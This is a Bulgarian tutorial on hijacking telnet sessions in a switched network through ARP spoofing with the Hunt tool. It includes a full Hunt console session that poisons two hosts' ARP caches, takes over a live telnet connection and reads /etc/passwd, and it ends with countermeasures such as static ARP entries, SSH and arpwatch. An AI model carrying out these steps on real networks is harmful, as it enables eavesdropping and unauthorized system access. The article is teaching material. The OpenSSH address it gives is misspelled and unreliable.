Прехващане на telnet сесия
- Секция Компютри1. Основни понятия в TCP прехващането Мрежовите устройства са тези, които се грижат за целия ви корпоративен трафик. Всяко e-mail съобщение, файл, номер на кредитна карта на потребител се предава по мрежата и се обработва от тези устройства- очевидно, сигурността им е от критична важност. Ето защо, възможността за отвличането на този мрежов трафик изглежда плашеща. Ще обясня как може да бъде направено това като се използва техниката, наречена TCP отвличане или TCP hijacking за прихващане на telnet сесия( Telnet Hijacking). TCP отвличането е възможно поради един основен продпуск в протокола TCP. TCP/IP позволява спуфинг на пакет като по този начин разрешава изпълнението на команди на отдалечен хост. Този тип атака обаче изисква споделена среда. Сега е момента да се разгледа малко по- обстойно какво представлява споделената среда и как да се разбере в каква среда се намираме. Споделената среда (Ethernet и Token Ring) в продължение на почти две десетилетия беше традиционното средство за предаване на данни. Техниката, която се използва в Ethernet, обикновено наричана CSMA/CD (Carrier sense Multiple Access/ Collision Detection), е измислена от Bob Metcalfe в изследователския център на Xerox в Polo Alto. Традиционният Ethernet работи като изпраща потока към всеки възел в сегмента. По този начин местоназначението получава своя поток (който се получава и от всички други възели) и споделя скоростта на предаване с всеки възел. Точно в това е и проблема. Когато изпращате поток от данни в споделена среда, изпращате и вашият поток до всяко прослушващо устройство в сегмента. От гледна точка на сигурността споделеният Ethernet е компромисна формула. За съжаление, това все още е най- често използваната мрежова среда. Съществува голяма разлика между първоначалната Ethernet технология и технологията за комутируем достъп, която съществува днес, а приликата е само в името. Технологията с комутируем достъп работи като изгражда голяма таблица с адреси за управление на достъпа до средата ( т.нар. MAC адреси) и изпраща потока, предназначен за определен MAC през много бърз силиконов чип. В резултат от това, пакетът пристига само на мястотот, за което е предназначен и не е видим за всички останали (или почти не е ). В средата с комутируем достъп може да се предостави възможност за прехващане на пакети. Cisco са предоставили тази възможност на техните Cisco Catalyst превключватели чре технологията SPAN (Switched Port Analyzer). Като направи огледално копие на определените портове или виртуалните локални мрежи (VLAN) в един порт, администраторът може да прехване пакетите по същия начин, както ако те са в споделена среда. Днес това често се справи при реализирине на IDS системи за откриване на проникване, за да се позволи на IDS системата да прослуша трафика и да го анализира за атаки. Откриването на типа на средата в която работите (споделена или комутируема) е просто. Като използвате проста програма за прехващане на пакети като tcpdump , ще видите всичко, което ви е необходимо, за да си направите извода. При комутируеми мрежи в резултатите ще видите само трафика, предназначен за всички възли, трафика за няколко възела и трафика към или от вашата система. Ето един пример за резултати от изпълнението на tcpdump за комутируема мрежа; в тях се съдържа от прокола SAP (Services Advertisement Protocol) и от протокола ARP ( address Resolution Protocol) 20:20:22.530205 0:80:24:53:ae:bd > 1:80:c2:00:00:00 sap 42 ui/C len=43 0000 0000 0080 0000 8024 53ae d100 0000 20:20:24.610205 0:80:24:53:ae:bd > 1:80:c2:00:00:00 sap 42 ui/C len=43 0000 0000 0080 0000 8024 53ae d100 0000
20:20:25.660205 arp who-was 172.29.11.100 tell 172.29.11.207 20:20:26.710205 0:80:24:53:ae:bd > 1:80:c2:00:00:00 sap 42 ui/C len=43 0000 0000 0080 0000 8024 53ae d100 0000
20:20:24.8102055 0:80:24:53:ae:bd > 1:80:c2:00:00:00 sap 42 ui/C len=43 0000 0000 0080 0000 8024 53ae d100 0000 20:20:30.660205 arp who-was 172.29.11.100 tell 172.29.11.207
20:25:37.640205 192.168.40.66.23 > 172.29.11.207.1581: P 31:52 (21) ACP 40 win 8760 (DF) (ttl 241, id 21327) 20:25:37.640205 172.29.11.207.1581 > 192.168.40.66.23 : P 40:126 (86) ack 52 win 32120 (DF) [tos 0x10] (ttl 64, id 4221) 20:25:37.780205 192.168.40.66.23 > 172.29.11.207.1581: P 52:73(21) ack 126 win 8760 (DF) (ttl 241, id 21328) 20:25:37.800205 172.29.11.207.1581 > 192.168.40.66.23: . ack 73 win 32120 (DF) [tos 0x10] ( ttl 64, id 4222)
2. Подслушване и прехващане на telnet сесия в комутируема мрежа В предната точка беше описана средата като комутирема(използване на switch) или некомутируема (използване на hub). Понеже при некомутируемата мрежа прехващането става по- лесно аз ще покажа по- интересната част, а именно прехващане на telnet сесия в комутируема Ethernet мрежа. Приложението което ще изплолзваме и чрез което най- нагледно можем да демонстрираме заданието е Hunt. Приложението Hunt е написано от Pavel Krauz и се използва главно като Sniffer и за прехващане на TCP сесии. Когато една мрежа може да се подслушва, Hunt ви позволява да наблюдавате пасивно всички съществуващи конекции, подобно на всеки друг снифър. Мрежите със суичове(комутируеми) обаче в общия случай не позволяват подслушване. Те изпращат пакет само към действителния хост-приемник, като следят кой MAC(Media Access Control) адрес се намира на всеки физиески порт. По този начин машината на даден порт няма да вижда никакви пакети, които не са предназначени за нея. Ethernet картите правят ARP заявка, за да научат MAC адреса, свърза с определен IP адрес. Тези съответствия на адреси се кешират за по- бързо търсене. Можете да разгледате текущия списък с командата arp. Hunt може да измами машините да добавят в кеша си нови съответсвия между MAC адреси и IP адреси чрез метод, известен като подправяне на ARP или насилствена промяна на ARP-Arp Spoofing. Ако се разгледат ARP таблиците на клиента и сървъра няма да видите нищо не обичайно понеже всеки ip address ще си е обвързан със неговия си MAC адрес, обаче за да изпълним нашия план трябва да променим ARP таблицата и на двете машини (сървъра, клиента). За целта използваме Hunt или по- точно следния пример: -arps> a src/dst host1 to arp spoof> 10.10.10.2 host1 fake mac [EA:1A:DE:AD:BE:01]> src/dst host2 to arp spoof> 10.10.10.1 host2 fake mac [EA:1A:DE:AD:BE:02]> refresh interval sec [0]> --- arpspoof daemon --- rcvpkt 6, free/alloc 63/64 ---Y--- s/k) start/stop relayer daemon l/L) list arp spoof database a) add host to host arp spoof i/I) insert single/range arp spoof d) delete host to host arp spoof r/R) remove single/range arp spoof t/T) test if arp spoof successed y) relay database x) return
-arps> t
0) on 10.10.10.1 is 10.10.10.2 as EA:1A:DE:AD:BE:01 refresh 0s 1) on 10.10.10.2 is 10.10.10.1 as EA:1A:DE:AD:BE:02 refresh 0s Сега започнахме нашия arp spoofing с които започваме операцията по прехващена на сесията. Сега машаната ни ще отговаря на двата нови MAC адреса, зададени на клента и сървъра. След това стартираме демона за ARP препредаване, който прозрачно изпраща пакети от единия хост към другия, без дори да разберат. Ако клиентът изпълни ping или traceroute към сървъра няма шанс да си проличи, че има нещо нередно защото всичко ще си работи съвсем нормално. Обаче всички пакети между двата хоста сега преминават през машината на нападателя. Всички конекции между машините могат да се подслушват с Hunt или някакво друго средство, изпълнявано на нашата машина. С най- простите инструменти за похищаване на сесия ние изпращаме пакети към сървъра, които изглеждат като че ли идват от клиента. Сървърът отговаря на тези пакети с ACK (потвърждение) , както обикновено. Обаче тъй като клиентът не е изпратил нищо и затова не очаква ACK, той отговаря също с ACK. Двете машини продължават да изпращат помежду си ACK пакети и в резултат на това се създава така наречената ACK буря. В този момент сесията е напълно безполезна и затова ще използваме подправянето на arp както бе обяснено по- рано в тази глава. В комбинация от предните действие ние ще можем да наблюдаваме сесията и да решим кога да я прехванем. Когато я прехванем ще имаме пълен достъп до системата(telnet access, telnet достъп). В действителност Hunt услужливо обърква потребителя, използвал конекцията, като извежда промпт след всяка въведена от него команда. По този начин потребителя се опитва да разбере какво не е наред, тъй като промптът е променен и всички команди не правят нищо. Най- вероятно потребителят ще затвори конекцията и ще я отвори отново, приемайки, че просто нещо се е сринало. С всичко това се обяснява как се прехваща telnet сесия, но за да бъде още по- ясно по- долу е изобразено нагледно метода за манипулация:
2.1 Пример за прехващане на Telnet сесия, чрез Hunt
[ Telnet Client ] <- [ Telnet Server ] [ 10.10.10.2 ] -> [ 10.10.10.1 ] [root@localhost ~]# hunt /* * hunt 1.5 * multipurpose connection intruder / sniffer for Linux * (c) 1998-2000 by kra */ starting hunt --- Main Menu --- rcvpkt 0, free/alloc 64/64 ------ l/w/r) list/watch/reset connections u) host up tests a) arp/simple hijack (avoids ack storm if arp used) s) simple hijack d) daemons rst/arp/sniff/mac o) options x) exit -> d --- daemons --- rcvpkt 0, free/alloc 63/64 ------ r) reset daemon a) arp spoof + arp relayer daemon s) sniff daemon m) mac discovery daemon x) return -dm> a --- arpspoof daemon --- rcvpkt 0, free/alloc 63/64 ------ s/k) start/stop relayer daemon l/L) list arp spoof database a) add host to host arp spoof i/I) insert single/range arp spoof d) delete host to host arp spoof r/R) remove single/range arp spoof t/T) test if arp spoof successed y) relay database x) return -arps> s daemon started --- arpspoof daemon --- rcvpkt 0, free/alloc 63/64 ---Y--- s/k) start/stop relayer daemon l/L) list arp spoof database a) add host to host arp spoof i/I) insert single/range arp spoof d) delete host to host arp spoof r/R) remove single/range arp spoof t/T) test if arp spoof successed y) relay database x) return
-arps> a src/dst host1 to arp spoof> 10.10.10.2 host1 fake mac [EA:1A:DE:AD:BE:01]> src/dst host2 to arp spoof> 10.10.10.1 host2 fake mac [EA:1A:DE:AD:BE:02]> refresh interval sec [0]> --- arpspoof daemon --- rcvpkt 6, free/alloc 63/64 ---Y--- s/k) start/stop relayer daemon l/L) list arp spoof database a) add host to host arp spoof i/I) insert single/range arp spoof d) delete host to host arp spoof r/R) remove single/range arp spoof t/T) test if arp spoof successed y) relay database x) return
-arps> t 0) on 10.10.10.1 is 10.10.10.2 as EA:1A:DE:AD:BE:01 refresh 0s 1) on 10.10.10.2 is 10.10.10.1 as EA:1A:DE:AD:BE:02 refresh 0s
item nr. to test> 0 ARP spoof in host 10.10.10.1 - OK --- arpspoof daemon --- rcvpkt 7, free/alloc 63/64 ---Y--- s/k) start/stop relayer daemon l/L) list arp spoof database a) add host to host arp spoof i/I) insert single/range arp spoof d) delete host to host arp spoof r/R) remove single/range arp spoof t/T) test if arp spoof successed y) relay database x) return
-arps> t 0) on 10.10.10.1 is 10.10.10.2 as EA:1A:DE:AD:BE:01 refresh 0s 1) on 10.10.10.2 is 10.10.10.1 as EA:1A:DE:AD:BE:02 refresh 0s
item nr. to test> 1 ARP spoof in host 10.10.10.2 - OK == Telnet connection from 10.10.10.2 to 10.10.10.1 === --- arpspoof daemon --- rcvpkt 8, free/alloc 63/64 ---Y--- s/k) start/stop relayer daemon l/L) list arp spoof database a) add host to host arp spoof i/I) insert single/range arp spoof d) delete host to host arp spoof r/R) remove single/range arp spoof t/T) test if arp spoof successed y) relay database x) return
-arps> x --- daemons --- rcvpkt 8, free/alloc 63/64 ---Y--- r) reset daemon a) arp spoof + arp relayer daemon s) sniff daemon m) mac discovery daemon x) return
-dm> x --- Main Menu --- rcvpkt 113, free/alloc 63/64 ---Y--- l/w/r) list/watch/reset connections u) host up tests a) arp/simple hijack (avoids ack storm if arp used) s) simple hijack d) daemons rst/arp/sniff/mac o) options x) exit *> l 0) 10.10.10.2 [1515] --> 10.10.10.1 [23] --- Main Menu --- rcvpkt 113, free/alloc 63/64 ---Y--- l/w/r) list/watch/reset connections u) host up tests a) arp/simple hijack (avoids ack storm if arp used) s) simple hijack d) daemons rst/arp/sniff/mac o) options x) exit -> a 0) 10.10.10.2 [1515] --> 10.10.10.1 [23] choose conn> 0 hosts already ARP spoofed input mode [r]aw, [l]ine+echo+r, line+[e]cho [r]> dump connectin y/n [y]> dump [s]rc/[d]st/[b]oth [b]> s CTRL-C to break ==== Press any key in telnet session in machine 10.10.10.2 ==== -- press any key> you took over the connection CTRL-] to break cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh .... === Telnet Hijachking has been completed successfully/kakvo.org 3. Контрамерки срещу прехващането на telnet сесия. Няма как да се предотврати подслушването в мрежова среда с броадкаст, Ето защо, за да се попречи на всякакъв тип подслушване, трябва да се използват суичове , а не хъбове. Това обаче няма да ви предпази от подправяне на ARP, описано по- горе, дори когато е разрешена сигурността на портовете на суича. Възможно решение е твърдо да се кодират MAC адресите за вашите машини така, че нито да се изпращат ARP заявки, нито да се приемат ARP отговори. Във файл /etc/ethers създайте редове, които описват съответсвие между MAC адреси и IP адреси по следния метод: 11:22:33:44:55:66 10.10.10.1 22:33:44:55:66:77 10.10.10.2 33:44:55:66:77:88 10.10.10.3 Както безспорно ще се съгласите, това решение е много досадно Всеки път, когато добавяте нов хост или сменяте Ethernet карта, трябва да актуализирате този файл на всички машини във Вашата мрежа. Освен това той предотвратява тази атака само когато машината-приемник е от същата мрежа. Ако нападателят е от някои друга мрежа между вас и сървъра, той ще извършва подправяне на ARP от съвсем различно място, което не можете да контролирате. Най- сигурното решение е да се използват криптирани протоколи. Хакерът би могъл успешно да пренасочи криптирана TCP сесия, но няма да може да види действителните данни, които се предават, нито да вмъкне някакви команди в криптирания поток, тъй като не знае ключовете, използвани за криптирането. Така че щом той се опита да вмъкне информация, сървърът ще види , че тази информация не е правилно криптирана и веднага ще прекрати конекцията. И така, най- лошият сценарий при използването на криптирани комекции е, че хакерът би могъл да предизвика прекратяване на вашата конекция, което обаче не е толкова лошо, тъй като хакерът не може да я контролира по някакъв полезен начин. За влизане в системата и обмен на файлове предлагам да се използва OpenSSH, който може да се намери на адрес http://openssh.om. Това приложение предоставя всички функционални възможности на telnet,Rlogin, Rsh и Ftp с пълно криптиране. За HTTP транзакции може да се използва HTTPS, които е HTTP със SSL. Други интересни варианти за защита са използването на силна автентикация чрез Kerberos или peer to peer VPN. Интересен метод за защита и мониторинг е приложението което се използва от IDS продуктите, а именно arpwatch. С него ще реализирате контрол върху ARP заявките в мрежата.
Коментирай свободно: |
